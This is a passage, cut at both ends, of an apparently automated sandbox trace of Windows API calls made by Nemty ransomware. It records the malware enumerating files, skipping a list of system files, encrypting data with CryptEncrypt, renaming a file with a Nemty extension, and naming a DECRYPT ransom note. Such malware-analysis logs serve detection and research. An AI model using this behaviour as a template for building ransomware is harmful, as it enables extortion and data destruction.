cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340200 [0133.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0133.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.582] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e4cd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x31e4cd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x31e4cd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0133.582] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0133.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0133.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0133.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.583] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x294e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="main.html", cAlternateFileName="")) returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2=".") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="..") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="...") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="windows") returned -1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="$RECYCLE.BIN") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="rsa") returned -1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="NTDETECT.COM") returned -1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="ntldr") returned -1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="MSDOS.SYS") returned -1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="IO.SYS") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="boot.ini") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="boot.ini") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="AUTOEXEC.BAT") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="ntuser.dat") returned -1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="desktop.ini") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="CONFIG.SYS") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="RECYCLER") returned -1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="BOOTSECT.BAK") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="bootmgr") returned 1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="programdata") returned -1 [0133.583] lstrcmpiW (lpString1="main.html", lpString2="appdata") returned 1 [0133.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0133.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.html", lpUsedDefaultChar=0x0) returned 9 [0133.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0133.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.html", lpUsedDefaultChar=0x0) returned 9 [0133.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0133.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.html", lpUsedDefaultChar=0x0) returned 9 [0133.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0133.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.html", lpUsedDefaultChar=0x0) returned 9 [0133.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0133.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0133.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0133.584] Sleep (dwMilliseconds=0x5) [0133.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x346c430, dwHighDateTime=0x1d561e8)) [0133.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x346c430, dwHighDateTime=0x1d561e8)) [0133.596] GetLastError () returned 0x12 [0133.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.596] GetLastError () returned 0x12 [0133.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.596] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0133.597] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0133.597] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0133.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0133.597] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="i5wQaHRfEEMC2qEu68M7jH2UiWnasZ+Zc5vN5Qz7PVCZQu1QenX4RhrP3v9jD8Em\r\nZj8jaly6cKIVidIOTxVj4pqT/tgtUyUCmLsypKEN4Sjet8V5SYE9DpKn+xpGJywB\r\nwvxFOLIXDsb9MQjwhducNYg9KbvkjbK1znR4difrFrt9hcNjvAkSJa5c6NR6MXiE\r\naste6Fp5bdww2NymsQ58NtiDFzbIrVLyHfUVXdZrmHxBSKvq8/f0l5z3EF8Ax3xZ\r\ni/J6yAIrbSNNzxo72INZ9E9i5pQ6OwSNp4HwfYu8fD6Lv6F5VtTvKyuUHBq7QeMe\r\ni3oCMTZSYwmbO7Gyw1PBsg==\r\n", pcchString=0x653ec5c) returned 1 [0133.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0133.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0133.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0133.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0133.597] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\main.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0133.597] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0133.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0133.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.664] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.664] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.683] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.683] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0133.712] CloseHandle (hObject=0xffffffff) returned 0 [0133.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0133.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0133.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0133.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0133.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\main.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\main.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\main.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\main.html._nemty_kgobjgd_")) returned 0 [0133.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0133.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0133.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0133.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0133.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0133.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0133.713] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a59d04, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x9e9e7900, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xe17d845, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="MCESidebarCtrl.dll", cAlternateFileName="")) returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2=".") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="..") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="...") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="windows") returned -1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="$RECYCLE.BIN") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="rsa") returned -1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="NTDETECT.COM") returned -1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="ntldr") returned -1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="MSDOS.SYS") returned -1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="IO.SYS") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="boot.ini") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="boot.ini") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="AUTOEXEC.BAT") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="ntuser.dat") returned -1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="desktop.ini") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", 